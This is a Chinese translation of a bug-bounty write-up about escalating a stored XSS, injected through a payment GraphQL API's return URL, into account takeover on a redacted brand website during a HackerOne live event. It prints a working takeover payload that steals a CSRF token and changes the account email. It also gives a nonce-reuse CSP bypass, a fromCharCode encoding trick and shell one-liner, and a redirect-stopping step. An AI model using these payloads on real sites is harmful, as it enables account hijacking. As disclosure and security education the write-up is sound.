去年底在HackerOne的一次LHE(由于时间非常紧迫,这只在后面才变得重要),我在一个主要品牌的网站上发现了一个非常具有挑战性的漏洞,涉及多层利用,最终导致一个存储型XSS payload能够通过访问品牌主网站上的特定无害页面来接管受害者的帐户(www.redacted.com)。这个漏洞的范围完全在该品牌的赏金计划内。
这个漏洞的回报很高(CVSS 8.7),发现并利用它的过程会很有意思。但是,在利用此漏洞的过程中,我多次陷入困境——完全陷入困境。我几乎放弃了,认为这是不可能的完成的。
本文极限xss的记录
设置
我发现的最初漏洞与该品牌的支付处理 API 有关 - 这是客户(商家)用来处理各个国家的信用卡和金融交易的 API。这个品牌是跨国公司,因此他们在许多不同的国家处理许多不同类型的交易 - 包括我在美国从未听说过的一些交易,并且作为我的侦察的一部分不得不进行研究。
该支付处理器支持的一种交易类型是离线支付流程,用于处理信用卡不常见且现金交易更为普遍的地区。在这些地点,支付处理器允许客户进行电子商务购买并获取唯一的代码(如二维码),他们可以将其带入商店并支付现金进行交易。一旦商店确认交易,电商就会收到货款,顾客就会收到货。
因此,交易流程如下:
- 当客户下订单时,电子商务商家启动线下支付流程
- 电子商务商家为顾客提供一个唯一的店内代码,可用于付款
- (线下)客户将代码带到支付网络中的商店并以现金支付
- 通知电子商务商家已发生付款
- 电子商务商家向客户发送一个唯一的 URL,他们可以访问该 URL 来确认购买
请注意,最后一步中的“唯一 URL”是由商家在设置交易时提供的(您可以将其视为基于传统在线信用卡的工作流程中的“确认 URL”)。
The Payload
在这种情况下,我们的攻击者是能够创建这些离线交易的商家(或该商家的用户)。商家将提交包含 XSS payload的确认 URL。该payload一旦保留,就可以在该品牌主网站的页面下看到www.redacted.com。
POST /graphql HTTP/1.1Host: payments.redactedtwo.com... {"query":"mutation {n ...redacted...(input:{ ...redacted... n returnUrl: "<payload here>" ... }) ...
我们可以看到这个 GraphQL API 接受一个returnUrl参数,该参数将成为我们的payload源。请注意,GraphQL 调用是完全独立的顶级域上的 API。这很有趣,因为它允许品牌域之一中存储的payload在另一个可以说更关键的域中呈现。提交后,我们可以访问网站上唯一的静态 URL,www.redacted.com其中returnUrl参数中包含我们的payload。
让我们看看payload如何出现在接收器上www.redacted.com:
<script nonce="G4bzKjjcoKYHhRqFR4jI3hADUnme1CL14sqI8gUqRhcRi+DE">window.location.href = '<payload>?..dynamic url parameters...'</script>
我们看到这个脚本有一个随机数,并且我们的注入点<payload>位于脚本内 - 看起来像是一个非常容易存储的 XSS,对吧?
随机数的存在稍后将变得很重要,让我们看一下标Content-Security-Policy头,看看有哪些限制(注意:直到我深入payload开发时,我才考虑 CSP - 这是一个大错误,至少导致我回溯2小时,原因我稍后会描述)。为了便于阅读,我将其分成几行:
Content-Security-Policy:default-src 'self' 'unsafe-inline' https://*.redacted.com https://*.redactedtwo.com;script-src 'nonce-G4bzKjjcoKYHhRqFR4jI3hADUnme1CL14sqI8gUqRhcRi+DE' 'self' 'unsafe-inline' https://*.redacted.com https://*.redactedtwo.com;img-src 'self' https:;frame-src 'self' https://*.redacted.com https://*.redactedtwo.com https://*.qualtrics.com;child-src 'self' https://*.redacted.com https://*.redactedtwo.com;object-src 'none';font-src 'self' https://*.redacted.com https://*.redactedtwo.com;base-uri 'self' https://*.redacted.com;form-action 'self' https://*.redacted.com;upgrade-insecure-requests;connect-src 'self' 'unsafe-inline' https://*.redacted.com https://*.redactedtwo.com https://*.qualtrics.com;
我们可以看到,这个 CSP 具有相当大的限制性 - 我们只能从(hardened)品牌网站本身获取信息,并且页面上的任何脚本标签都需要随机数。
尝试1:javascript:// url
显然,在注入点的第一次尝试location.href=是简单地放置一个带有payload的 Javascript 方案,例如javascript://alert(1). 我很幸运,因为这里没有明显的 WAF 阻止像这样的简单payload。所以我尝试了这个并且...
...失败了。GraphQL API 拒绝了该 URL,并出现400错误。我尝试了许多其他尝试,编码、基本、空格等 - 没有运气。API 正在验证提供的 URL 是否以https://完整主机名开头并包含后跟尾随/. 很明显,我们有一个开放的重定向,但我知道这可能会被利用来存储 XSS。
例如,https://hackerone.com/将产生以下存储的payload:
<script nonce="G4bzKjjcoKYHhRqFR4jI3hADUnme1CL14sqI8gUqRhcRi+DE">window.location.href = 'https://hackerone.com/?...dynamic URL parameters...'</script>
快速说明- 这些参数附加到 GraphQL API 中提供的 URL 中,表示唯一的交易 ID、有关客户的信息等 - 这些参数始终在单引号内...dynamic URL parameters...附加前导。?
旁注:几次失败的尝试。
在这个故事的后面,出于显而易见的原因,我尝试提交各种形式的https://url,而不带尾部斜杠 - 这将导致主机名之后的所有内容都被 URL 编码,并且通常对于 Javascript 上下文中的 XSS 毫无用处。我应该早点尝试一下,因为这样可以节省很多时间。
尝试 2:Trailing payload
我们知道此时payload必须以有效的 URL 和主机名开头,因此我们从有效https://hackerone.com/payload的开头开始。
对我们来说幸运的是,我能想到的下一个最明显的payload起作用了。单引号字符没有以任何方式被阻止或编码,因此以下payload实际上生成了一个存储的警报:
https://hackerone.com/';alert(document.domain);//
这会生成一个alert(很棒),但关闭后用户会立即重定向到提供的 URL。爽!存储具有 DOM 访问权限的 XSS payload!
提交
此时,我认为我做得很好,并在活动现场部分之前在 LHE 中提交了该错误。在对中等影响进行分类后,我向分类/客户团队发送了一条说明,询问需要什么才能证明较高的影响。
顺便说一句,对于那些不知道 HackerOne LHE 的结构的人来说,有一段时间(5.5 天),在此期间 LHE 参与者会了解范围并可以提交错误。这些错误会被分类,但直到活动的实时部分才最终确定/付费。实时部分包括一天(实际上约 10 小时),参与者可以提交其他错误或升级之前提交的错误。
客户(通过分类团队)回应说,他们认为主站点上的 CSP 和 cookie 设置已到位,不可能将存储的 XSS 升级到任何更高的严重程度。
Challenge Accepted! 那就干!
当然,我认为这是一个挑战,因为我知道payload位于上下文中,<script nonce>我应该能够制作我想要的任何payload,利用它会很容易!
下一步:构建 ATO payload
我开始制作我能想象到的最好的存储 XSS ATO payload。payload执行了以下任务,我在主站点上打开的窗口的开发控制台 (F12) 中测试了这些任务:
- XMLHttpRequest通过访问网站主页来获取用户的 CSRF token
- fetch通过解析调用返回的 HTML 来提取 CSRF token
- 使用 API 调用来更改帐户上的电子邮件地址XMLHttpRequest
请注意,connect-srcCSP 中的 使得尝试使用 Javascript 将信息从页面渗透到攻击者域变得不可能,因此 ATO(或 CSRF 的类似行为是我在这里选择的payload)。
此时,攻击者可以夺取该帐户,因为他们控制了电子邮件地址,并且可以使用“忘记密码”功能来完成接管。Cookie(甚至HttpOnly)将在最后一个请求时发送,因为同源策略将允许包含它们(XHR 源自正确的域,www.redacted.com)。
我想你们大多数人都熟悉编写这种类型的payload,我不会在这里详细介绍,因为它非常简单:
function decodeHtml(html) { var txt = document.createElement("textarea"); txt.innerHTML = html; return txt.value;}fetch("https://www.redacted.com/url/to/get/csrf/").then(r => r.text()).then(r => { csrf_token = /]*)"/.exec(r)[1] var xhr = new XMLHttpRequest(); xhr.open("POST", "https://www.redacted.com/api/to/change/email", true); xhr.setRequestHeader("X-Csrf-Token", decodeHtml(csrf_token)); xhr.setRequestHeader("Content-Type", "application/json"); xhr.withCredentials = true; o=new Object(); ... other parameters ... o.email='<my_email_address>'; xhr.send(JSON.stringify(o));})
我在 Chrome 开发控制台中对此进行了测试,并确认它具有 ATO 的预期效果。准备好出发!
尝试3:拒绝
我将payload提交到 GraphQL API,它看起来不错!最初没有错误,但后来我点击存储的 XSS 页面本身并看到......
HTTP/2 400 Bad Request
存储的payload未渲染!
回到原来的有效alert(document.domain)负载,它起作用了。因此,我的完整 ATO 负载中一定有某些东西导致服务器无法呈现 XSS。
经过对工作负载的多次迭代(不幸的是,由于源和接收器是不同的事务,并且需要几个中间步骤,我无法使用任何方便的自动化工具),我发现以下所有字符都会导致错误400:
{}<>"[]
请注意,所有空白字符也被拒绝。可能还有其他我不记得的字符😁,但以下绝对没有被阻止:
()=.;/
所以,我要处理的 Javascript 词汇量有限,没问题!
尝试 4:异步
我最终重写了大部分payload以排除受限字符。请注意,我尝试了所有类型的编码(URL、javascript、十六进制、八进制、双编码等),但这些都不能用来绕过限制。我会注意到这是非常乏味的,因为错误出现在接收器,而不是源,因此每次迭代至少浪费一两分钟。
我什至收到了fetch使用受限字符集的初始请求,例如:
https://hackerone.com/';fetch("https://www.redacted.com/url/to/get/csrf/").then(console.log);//
我可以看到调用Response中的对象fetch击中了控制台日志 - 现在我们正在取得进展!
然后我遇到了大问题。
请记住,我的攻击链需要 3 个步骤:
- 进行 XHR 调用以获取带有 CSRF token的页面
- 从返回的 HTML 中提取 CSRF token
- 使用 CSRF token向 ATO 进行 XHR 调用
因为fetch( 和XMLHttpRequest) 是异步 API,所以我们需要用lambda 函数then填充方法参数,该函数将在 Promise 解析时异步执行(更多信息请参见mdn)。问题是,如果没有这些字符,我不相信有一种方法可以在 Javascript 中构造 lambda 函数,无论是使用大括号语法还是箭头语法(如果有人聪明地阅读本文提出建议,我的 DM 在 Twitter 上是开放的,我我很感兴趣!)。{}>
我立即意识到这是一个巨大的障碍。即使我重写了payload的其余部分以避免所有这些其他字符(这最终是可能的),也无法定义在 Promise 解析时调用的 lambda 函数,这是一个令人震惊的问题。
可是等等!在 Javascript 参考中的对象文档中Function,有一个表单,Function(var, body)其中body是string ! 不需要大括号或箭头语法!
尝试5:还有一件事......
我兴奋地重写了我的payload,以利用这个令人惊奇的语法,结果发现我在 CSP 中错过了一些东西……eval由于 CSP 缺少指令,所以不允许这样做unsafe-eval。没错,这种形式的Function构造函数(毫不奇怪)eval在幕后使用该字符串将该字符串转换为实际的 Javascript 函数。
这是不幸的,因为我浪费了大约 30 宝贵的分钟来弄清楚这个语法是如何工作的(文档对于如何传入和引用变量有点模糊)。
我认为由于被阻止的特定字符,这种方法根本不可能。(其实这个时候我还没想到空白也因为某种原因被阻塞了,我会怪罪睡眠不足),无论如何,这会让编写一个函数变得困难甚至不可能。
尝试 6:不同的方法
所以此时我得到了一些食物,因为我已经连续奋战了至少3个小时。当我在大厅里漫步时,我陷入沉思。显然我可以调用 Javascript 方法,因为我可以访问这些().;字符。我当然可以想出一些办法!
(我要补充一点,我确信有人会非常乐意帮助我,但由于这是我的第一个 LHE,我希望在没有任何帮助的情况下获得一个真正有影响力的错误!)
此时我意识到三件事:
- 为了成功交付我的工作负载,我需要解决被阻止的特殊字符,
- 我已经确认我可以执行任意 Javascript 代码,只要我小心我使用的字符,
- 我可以访问<script>已经存在的标签上 DOM 中随机数的正确值
我决定尝试以下方法:
- 使用非常简单的 Javascript 创建一个新的<script>DOM 节点
- 设置该脚本节点上的随机数以匹配<script>页面上已有节点的随机数
- 找出一种对我的payload进行编码的方法,以便我可以将innerText新<script>节点的值设置为不包含特殊字符的值
- 将我的新<script>标签插入 DOM,payload将执行
作为一个有趣的琐事,如果您还没有遇到过这种情况 - 如果<script>标签已经开始执行(页面上的一个标签),则替换将innerText不会执行任何操作。由于 CSP,除了带有随机数的标签之外,我没有看到任何其他方式<script>来执行我的payload(同样,如果我这样做的话,我对评论或建议感兴趣!)。
但是,如果页面尚未完成内联脚本的渲染和执行,您可以<script>在内联脚本之后插入一个新节点,它将执行(请注意,这仅在页面尚未加载时有效 - 如果您尝试插入事件触发<script>后的 DOM 节点,为时已晚)。onload
希望你们都还在我身边!
我决定尝试使用一个简单的payload,如下所示:
https://hackerone.com/';s=document.createElement('script');s.nonce=document.getElementsByTagName('script').item(1).nonce;s.innerText='alert(document.domain);';document.head.appendChild(s);;//'
我发射了它并且......它成功了!警报弹出并且新标签上存在随机数使我的脚本能够通过 CSP 检查。
超级兴奋,因为看起来这个策略会起作用!
尝试 7:避免特殊字符
我想说的是,此时我基本上已经有了剩下的有效负载的想法,但我面临着巨大的时间压力,需要在 LHE 结束之前提交我的升级,最终因为一些愚蠢的错误而浪费了一些时间。
第一个错误是尝试只对那些被阻止的字符进行编码。这很难手动完成,并且当我发现我错过了一个角色时花了很多时间。
所以我决定采用以下方法:
- redacted_payload.txt使用我的 Javascript 负载创建一个文件
- 运行以下 shell 命令将文件中的每个字符编码为一系列调用String.fromCharCode
生成的 shell 命令:
(for i in `cat redacted_payload.txt | xxd -ps -c 0 | sed -e 's/(..)/1n/g'`; do echo "String.fromCharCode("$((16#${i}))")+"; done) | tr -d 'n'
和输出:
String.fromCharCode(123)+String.fromCharCode(32)+String.fromCharCode(102)+String.fromCharCode(117)+... repeating for many characters ...
再说一次,当没有时间压力时,我确信我可以在这里设计一些更优雅的东西,但这有效,我最终得到了一个非常大的payload(幸运的是,可以存储的 URL 没有长度限制!)。
我提交了完整的payload,现在看起来像:
https://hackerone.com/';s=document.createElement('script');s.nonce=document.getElementsByTagName('script').item(1).nonce;s.innerText=<very_long_encoded_payload>;document.head.appendChild(s);;//'
而且……没用。这时我想起了一些我忽略的事情……
最后一步:讨厌的重定向
请记住,我们注入的内联脚本是通过设置属性来重定向窗口开始的location.href。这会导致浏览器开始导航,此时它可能/可能不会完成任何进一步内联脚本的执行,并且它肯定不会等待 asyncPromise完成,例如 XHR 或fetch. 我看到的是,我的编码payload正在工作,但浏览器会立即导航离开页面,整个过程没有机会完成。
另请记住,重定向必须以合法的主机名开头,因此不可能提供浏览器无法导航到的无效重定向。
在这个阶段,我开始有点恐慌,距离提交截止还有大约 30 分钟的时间,我知道我已经可以升级了。我浏览了有关设置时行为的 Javascript 参考location.href,我看到了一个小宝石window.stop(),它被记录为“中止浏览器导航”。这看起来像我的答案,所以我在 URL 字符串末尾后立即添加了一个调用,如下所示:
https://hackerone.com/';window.stop();s=document.createElement('script');s.nonce=document.getElementsByTagName('script').item(1).nonce;s.innerText=<very_long_encoded_payload>;document.head.appendChild(s);;//'
好消息:这达到了停止重定向的预期效果!
非常非常坏的消息:这也阻止了任何未完成的fetch或XHR请求,并且没有简单的方法可以恢复。
虽然可能可以编写一些聪明的代码来处理这个问题,但我现在只剩下 20 分钟了,需要快速解决!
此时,我想知道我是否location.href 再次设置为其他内容,如果第二个分配足够快,是否会覆盖第一个导航。起初我尝试使用javascript:URL(这太简单了),最后发现该 URLfoo://a将使浏览器的行为完全符合我的希望:
- 停止导航至合法 URL
- 生成错误(不重要)
- 允许进一步的 XHR/fetch请求继续进行
此时,距离提交结束仅 15 分钟,我得到了最终的payload:
https://hackerone.com/';location.href='foo://a';s=document.createElement('script');s.nonce=document.getElementsByTagName('script').item(1).nonce;s.innerText=<very_long_encoded_payload>;document.head.appendChild(s);;//'
我向 ATO 提交了payload以及成功存储的 XSS 证据,实际上还剩下几分钟的时间,并且在这个升级链上连续花费了近 6 个小时。
客户接受了这种升级,并且非常惊讶地发现,在所有保护措施到位的情况下,这是可能的。
结论
最后总结一些技巧:
- 当开箱即用的payload不起作用时,熟悉 Javascript 语言和语法确实很有帮助。MDN 参考资料在这方面非常有帮助。
- 熟悉该语言还可以帮助您更好地解决主要障碍,例如特殊字符。
- 在时间压力下,了解何时陷入死胡同并回溯尝试新方法非常重要 - 我在本练习中多次这样做。
- 如果需要奇怪的编码,了解如何编写简单的文本处理脚本将节省大量时间。
翻译自https://www.pmnh.site/post/witeup_lhe_graphql_stored_xss/
原文始发于微信公众号(黑伞安全):大佬怒赚万$-通过GraphQL API实现存储型XSS到账户接管(ATO)的攻击
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论